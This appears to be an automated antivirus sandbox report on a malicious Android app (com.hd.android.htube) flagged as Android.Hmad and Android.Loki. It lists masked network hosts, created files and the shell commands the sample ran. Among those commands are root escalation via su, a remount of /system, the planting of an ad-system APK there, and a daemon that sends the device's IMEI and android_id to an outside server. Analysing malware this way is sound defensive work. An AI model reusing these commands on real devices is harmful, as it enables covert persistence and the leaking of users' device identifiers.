Technical information
Malicious functions:
Executes code of the following detected threats:
- Android.Hmad.1.origin
- Android.Hmad.2
- Android.Hmad.2
- Android.Loki.18
- Android.Loki.6.origin
Downloads the following detected threats from the Web:
- Android.Hmad.1.origin
- Android.Hmad.2
- Android.Hmad.2
- Android.Loki.18
- Android.Loki.6.origin
Network activity:
Connecting to:
- 5####.####.78
- 5####.####.78:32090
- analy####.####.com
- cdne-####.####.com
- dl7kuuk####.####.net
- haha####.com
- i####.####.com
- l####.####.com
- l####.####.io
- m####.####.com
- n####.####.com
- re####.####.com
- t####.####.net
- up####.####.net
- wina####.com
- wina####.com:8006
- you####.com
HTTP GET requests:
- cdne-####.####.com/c/6/0/c60559f2247eaed18fb290e638382dce1382377145-640-...
- dl7kuuk####.####.net/data/apk_ad_system_server_shell/0/1.0.5/apk_ad_syst...
- haha####.com/api/download_list.php?p=####
- i####.####.com/category/c5c1.png
- l####.####.com/link/image35/Image/298851-1.jpg
- m####.####.com/videos/big-booty-latina-candy-martinez-mounts-heavy-dong-...
- n####.####.com/api/setting?app_id=####&sign=####
- re####.####.com/ad/find?platform=####&os_version=####&package_name=####&...
- up####.####.net/update?v=####&sdk=####&pkg=####&debug=####&aid=####&loca...
- you####.com/videos/big-booty-latina-candy-martinez-mounts-heavy-dong-in-...
HTTP POST requests:
- 5####.####.78/adroot/client
- 5####.####.78:32090/adroot/client
- analy####.####.com/
- l####.####.io/common?funid=####&rd=####
- t####.####.net/g/d
- wina####.com/service/com.ads.sales.model.Installed
- wina####.com:8006/service/com.like.system.model.ChipBind
Modified file system:
Creates the following files:
- <Package Folder>/app_jc/dfp.jar
- <Package Folder>/app_jc/dfx.jar
- <Package Folder>/app_jc/tfp.jar (deleted)
- <Package Folder>/app_jc/tfx.jar (deleted)
- <Package Folder>/app_jni/libskin
- <Package Folder>/app_krsdk/__krsdk.res__
- <Package Folder>/app_krsdk/kd
- <Package Folder>/app_krsdk/krsdk.cert
- <Package Folder>/app_krsdk/krsdk.res
- <Package Folder>/app_slog/actsts
- <Package Folder>/be/ce.zip
- <Package Folder>/databases/fp.db-journal
- <Package Folder>/databases/fpdown.db-journal
- <Package Folder>/databases/fx_kit_unlock-journal
- <Package Folder>/databases/fxlock.db-journal
- <Package Folder>/databases/nativedroid.asa.sdk.db-journal
- <Package Folder>/databases/usage.db-journal
- <Package Folder>/databases/webview.db-journal
- <Package Folder>/files/####/agent_log
- <Package Folder>/files/####/crash_log
- <Package Folder>/files/####/plugin.jar
- <Package Folder>/files/TDtcagent.db
- <Package Folder>/files/TDtcagent.db-journal
- <Package Folder>/files/daemon
- <Package Folder>/files/kr-stock-conf
- <Package Folder>/files/libkrsdk.1.0.163.so
- <Package Folder>/files/td.lock
- <Package Folder>/shared_prefs/<Package>_preferences.xml
- <Package Folder>/shared_prefs/TD_CHANNEL_ID.xml
- <Package Folder>/shared_prefs/ads_share_cache.pref.xml
- <Package Folder>/shared_prefs/ads_share_cache.pref.xml.bak
- <Package Folder>/shared_prefs/batcloud.xml
- <Package Folder>/shared_prefs/batmobi_click.xml
- <Package Folder>/shared_prefs/batmobi_install_apps.xml
- <Package Folder>/shared_prefs/batmobi_lib.xml
- <Package Folder>/shared_prefs/batmobi_offer_cfg.xml
- <Package Folder>/shared_prefs/c_profile_sharepreference.xml
- <Package Folder>/shared_prefs/c_profile_sharepreference.xml.bak
- <Package Folder>/shared_prefs/cached.pref.xml
- <Package Folder>/shared_prefs/com.nativedroid.sa.xml
- <Package Folder>/shared_prefs/device.xml
- <Package Folder>/shared_prefs/flowapp_shared.xml.xml
- <Package Folder>/shared_prefs/fpksp.xml
- <Package Folder>/shared_prefs/fpksp.xml.bak
- <Package Folder>/shared_prefs/fpssp.xml
- <Package Folder>/shared_prefs/fxkit.xml
- <Package Folder>/shared_prefs/fxssp.xml
- <Package Folder>/shared_prefs/intelligent.xml
- <Package Folder>/shared_prefs/intelligent.xml.bak
- <Package Folder>/shared_prefs/kingrootsdk.xml
- <Package Folder>/shared_prefs/pref_longtime.xml
- <Package Folder>/shared_prefs/pref_longtime.xml.bak
- <Package Folder>/shared_prefs/pref_shorttime.xml
- <Package Folder>/shared_prefs/tdid.xml
- <Package Folder>/shared_prefs/uid<Package>.xml
- <Package Folder>/tx_shell/libshella-0.0.3.so
- <SD-Card>/.Android/####/account.bat
- <SD-Card>/.Android/####/apk_ad_system_server_shell_2015_1228_1754.apk
- <SD-Card>/.batcloud/####/ZBV2MBJ7X1SRHV33M4IMYXAG_log.txt
- <SD-Card>/.batcloud/####/bat_log.txt
- <SD-Card>/.batcloud/uid
- <SD-Card>/.nativedroid/adc
- <SD-Card>/.nativedroid/tick
- <SD-Card>/.tcookieid
- <SD-Card>/Android/####/.UUID
- <SD-Card>/Android/####/.nomedia
- <SD-Card>/Android/####/10y9l6ofvihlnq0vz67apvx9r.tmp
- <SD-Card>/Android/####/21j20i221ejfmxcumevzs52lo.tmp
- <SD-Card>/Android/####/3deiocpkq52lysf5bajr7vx8x.tmp
- <SD-Card>/Android/####/3y674khklrbqta6ugnqk5bh8n.tmp
- <SD-Card>/Android/####/4mwnbdya27j02mlhdhgge5srb.tmp
- <SD-Card>/Android/####/4s6dumpgiunfus29tn6z6kc0t.tmp
- <SD-Card>/Android/####/4v1gplmg0gm2bxiz1pj4kez48.tmp
- <SD-Card>/Android/####/51s28emtn2tatfrc0xk81d87y.tmp
- <SD-Card>/Android/####/54yhxn5w9srx8aa4matxlk4i9.tmp
- <SD-Card>/Android/####/5fs6wb9vciyfjn5249m6bq968
- <SD-Card>/Android/####/6291ldjtxukd55bic3goyy6kb.tmp
- <SD-Card>/Android/####/637rnipq7ql9l2m3gh3281t8k.tmp
- <SD-Card>/Android/####/6bhrv1v20eh924q4bvy1gp9mi
- <SD-Card>/Android/####/6rwxynee20ectjz2sa1ro2vwc.tmp
- <SD-Card>/Android/####/7isoaqnpxim5ugzqoe7qol124.tmp
- <SD-Card>/Android/####/mfzn8boxz4j9wfiwha9hci54
- <SD-Card>/FP.txt
- <SD-Card>/kr-stock-conf
Miscellaneous:
Executes next shell scripts:
- /data/data/com.hd.android.htube/files/daemon --process_name com.hd.android.htube --package_name com.hd.android.htube --component_name com.nativedroid.sa.sdk.core.SAService --url http://www.hahamobi.com/api/uninstall.php?android_id=b414d06174d3ab9'&'imei=356507059351895'&'app_id=23278'&'time=1496212848011'&'sign=2606c3c6d0e95936ac93d771947f547a --user_serial 0
- /data/data/com.hd.android.htube/files/daemon --process_name com.hd.android.htube --package_name com.hd.android.htube --component_name com.nativedroid.sa.sdk.core.SAService --url http://www.hahamobi.com/api/uninstall.php?android_id=b414d06174d3ab9'&'imei=356507059351895'&'app_id=23278'&'time=1496212849561'&'sign=ae16416be5da34496f401382dc16d38b --user_serial 0
- /system/bin/cat /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq
- <dexopt>
- <su-internal:request>
- <su-internal:result>
- app_process /system/bin com.android.commands.pm.Pm install -r /system/app//apk_ad_system_server_shell_2015_1228_1754.apk
- chmod 0644 /system/app//apk_ad_system_server_shell_2015_1228_1754.apk
- chmod 700 /data/data/com.hd.android.htube/tx_shell/libshella-0.0.3.so
- chmod 700 <Package Folder>/tx_shell/libshella-0.0.3.so
- chmod 775 /data/data/com.hd.android.htube/files/daemon
- chmod 775 <Package Folder>/files/daemon
- cp /storage/emulated/0/.Android/.la/.magic/.dx///apk_ad_system_server_shell_2015_1228_1754.apk /system/app/
- getprop ro.build.version.release
- getprop ro.build.version.sdk
- getprop ro.product.cpu.abi
- getprop ro.product.cpu.abi2
- id
- ls -lZ <Package Folder>/app_krsdk/
- mount -o rw,remount /system
- sh
- sh <Package Folder>/files/daemon --process_name <Package> --package_name <Package> --component_name com.nativedroid.sa.sdk.core.SAService --url http://www.hahamobi.com/api/uninstall.php?android_id=b414d06174d3ab9'&'imei=<IMEI>'&'app_id=23278'&'time=1496212848011'&'sign=2606c3c6d0e95936ac93d771947f547a --user_serial 0
- sh <Package Folder>/files/daemon --process_name <Package> --package_name <Package> --component_name com.nativedroid.sa.sdk.core.SAService --url http://www.hahamobi.com/api/uninstall.php?android_id=b414d06174d3ab9'&'imei=<IMEI>'&'app_id=23278'&'time=1496212849561'&'sign=ae16416be5da34496f401382dc16d38b --user_serial 0
- su
- su -v
Uses elevated priveleges.
Uses special library to hide executable bytecode.
